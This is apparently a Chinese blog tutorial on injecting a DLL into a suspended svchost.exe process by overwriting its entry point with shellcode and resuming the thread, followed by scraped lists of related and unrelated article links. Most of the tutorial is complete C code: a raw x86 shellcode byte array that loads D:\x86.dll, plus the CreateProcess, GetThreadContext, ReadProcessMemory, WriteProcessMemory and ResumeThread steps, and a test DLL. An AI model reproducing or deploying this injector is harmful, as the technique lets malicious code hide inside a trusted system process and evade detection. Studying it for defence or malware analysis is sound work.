本文主要利用 SetThreadContext 修改进程中的线程上下文来实现Dll注入(ShellCode)。

实现原理

  • 首先,使用 CreateProcess 函数创建svchost.exe进程,并且设置创建进程的标志为 CREATE_SUSPENDED,即表示新进程的主线程被挂起。
  • 使用 GetThreadContext,设置标志为 CONTEXT_ALL,获取新进程中所有的线程上下文。
  • 使用 ReadProcessMemory 读取目标进程的加载基址。
  • 在原来的空间中进行覆盖写入 Shellcode。
  • 最后,调用 ResumeThread 恢复主线程,让进程继续运行并执行我们的 Shellcode 代码。

EXE主程序

int main()
{
//Dll inject shellcode, path D:\x86.dll
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x8d\x85\xb0"
"\x00\x00\x00\x50\x68\x4c\x77\x26\x07\xff\xd5\xbb\xf0\xb5"
"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
"\x44\x3a\x5c\x78\x38\x36\x2e\x64\x6c\x6c\x00"; STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(STARTUPINFOA);
// 创建挂起进程
if (!CreateProcessA(
"C:\\windows\\sysWoW64\\svchost.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
))
{
printf("CreateProcess failed (%d).\n", GetLastError());
return 0;
} // 获取线程上下文
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(pi.hThread, &ctx))
{
printf("GetThreadContext failed (%d).\n", GetLastError());
} // 拿到目标进程主线程上下文后,在Ebx寄存器中保存的就是PEB的地址,
// 而PEB结构偏移0x8的位置是AddressOfImageBase字段,
// 所以直接来读取ctx.Ebx+0x8,就可以获取到目标进程的加载基址
DWORD dwImageBase = 0;
DWORD lpNumberOfBytesRead = 0;
if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 0x8), &dwImageBase, sizeof(DWORD), &lpNumberOfBytesRead))
{
printf("ReadProcessMemory failed (%d).\n", GetLastError());
return 0;
} // 在申请的空间中写入shellcode
DWORD NumberOfBytesWritten = 0;
if (!WriteProcessMemory(pi.hProcess, (LPVOID)ctx.Eax, buf, sizeof(buf), &NumberOfBytesWritten))
{
printf("WriteProcessMemory failed (%d).\n", GetLastError());
} // 恢复线程执行
if (ResumeThread(pi.hThread) == -1)
{
printf("ResumeThread failed (%d).\n", GetLastError());
} system("pause"); return 0;
}

DLL程序

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "DLL inject successful!", "Successful", NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

效果演示

创建傀儡进程svchost.exe并注入DLL文件(Shellcode)的更多相关文章

  1. Wow64(32位进程)注入DLL到64位进程

    转载自: https://blog.poxiao.me/p/wow64-process-inject-dll-into-x64-process/ 向其他进程注入DLL通常的做法是通过调用CreateR ...

  2. Windows x86/ x64 Ring3层注入Dll总结

    欢迎转载,转载请注明出处:http://www.cnblogs.com/uAreKongqi/p/6012353.html 0x00.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线 ...

  3. dll文件32位64位检测工具以及Windows文件夹SysWow64的坑

    自从操作系统升级到64位以后,就要不断的需要面对32位.64位的问题.相信有很多人并不是很清楚32位程序与64位程序的区别,以及Program Files (x86),Program Files的区别 ...

  4. vs2010下C++调用lib或dll文件

    注: DLL:表示链接库,包含dll,lib文件: dll: 表示my.dll文件 lib: 表示my.lib文件 C++ 调用.lib的方法: 一: 隐式的加载时链接,有三种方法 1  设置工程的 ...

  5. dll文件32位64位检测工具以及Windows文件夹SysWow64的坑(很详细,还有自动动手编程探测dll)

    阅读目录 dll文件不匹配导致数据库无法启动 究竟是System32还是SysWow64 区分dll文件32位64位的程序让我倍感迷惑 再次判断究竟是System32还是SysWow64——意想不到的 ...

  6. dll文件32位64位检测工具以及Windows文件夹SysWow64的坑【转发】

    原文地址:http://www.cnblogs.com/hbccdf/archive/2014/03/09/3590916.html 自从操作系统升级到64位以后,就要不断的需要面对32位.64位的问 ...

  7. c++ 生成dll文件并调用-转

    .h(头文件) .lib(库文件) .dll(动态链接库文件) 之间的关系和作用的区分   .h头文件是编译时必须的,lib是链接时需要的,dll是运行时需要的. 附加依赖项的是.lib不是.dll, ...

  8. 几种工具反编译被编译好的DLL文件

    我们平时在工作中经常会遇到一些已经被编译后的DLL,而且更加麻烦是没有源代码可以进行修改,只能针对这个DLL的文件进行修改才能得到我们想要的结果:本文将通过一个实例来演示如果完成一个简单的修改;我们将 ...

  9. 如何修改被编译后DLL文件

    原文 http://www.cnblogs.com/wujy/p/3275855.html 我们平时在工作中经常会遇到一些已经被编译后的DLL,而且更加麻烦是没有源代码可以进行修改,只能针对这个DLL ...

  10. 反编译DLL文件

    我们平时在工作中经常会遇到一些已经被编译后的DLL,而且更加麻烦是没有源代码可以进行修改,只能针对这个DLL的文件进行修改才能得到我们想要的结果:本文将通过一个实例来演示如果完成一个简单的修改;我们将 ...

随机推荐

  1. 《流畅的Python》 读书笔记 231007(第二章第一部分)

    第2章 数据结构 ABC语言是Python的爸爸~ 很多点子在现在看来都很有 Python 风格:序列的泛型操作.内置的元组和映射类型.用缩进来架构的源码.无需变量声明的强类型 不管是哪种数据结构,字 ...

  2. JavaCore extends Plugin

    /******************************************************************************* 2 * Copyright (c) 2 ...

  3. macbook-键盘连击问题002

    https://support.apple.com/zh-cn/HT205662 如何清洁 MacBook 或 MacBook Pro 的键盘 如果您的 MacBook(2015 年及更新机型)或 M ...

  4. [ABC208E] Digit Products 题解

    Digit Products 题目大意 求有多少个不大于 \(n\) 的正整数,使得该正整数各位乘积不大于 \(k\). 思路分析 观察数据范围,首先考虑数位 DP. 考虑设计记忆化搜索函数 dfs( ...

  5. .NET周刊【10月第2期 2023-10-08】

    国内文章 起风了,NCC 云原生项目孵化计划 https://www.cnblogs.com/liuhaoyang/p/ncc-the-wind-rises.html 2016年,我和几位朋友发起了. ...

  6. CentOS7调整分区大小

    前言 部署CentOS7的时候分配的动态扩充虚拟磁盘,共1T大小,在安装Centos时默认分区,系统仅给/分配50G,而大量空间都挂载到/home下,最近CentOS7使用中发现空间已不足够,所以就想 ...

  7. P8368 [LNOI2022] 串 题解

    题目链接 题目分析 题目要求我们构造一个最长的 \(T\) 序列,我们首先从每个 \(T_i\) 入手,思考如何安排才能合法. 容易观察到对于每个 \(T_i\),合法的 \(T_{i-1}\) 有两 ...

  8. RK3588-MPP解码详解

    一. 简介 [RK3588从入门到精通] 专栏总目录 本篇文章进行RK3588-MPP解码的详细解析 二. 环境介绍 硬件环境: ArmSoM-W3 RK3588开发板 软件版本: OS:ArmSoM ...

  9. iOS之H5与原生交互

    少年易学老难成,一寸光阴不可轻. 1. 利用UIWebView交互   iOS7之前通过UIWebView相关代理方法进行通信.原理:通过协议拦截实现h5对原生的调用,通过直接调用js来实现原生对h5 ...

  10. mac端 安卓UI自动化安装环境配置

    安装JDK   官网下载安装包https://www.oracle.com/java/technologies/javase/javase8u211-later-archive-downloads.h ...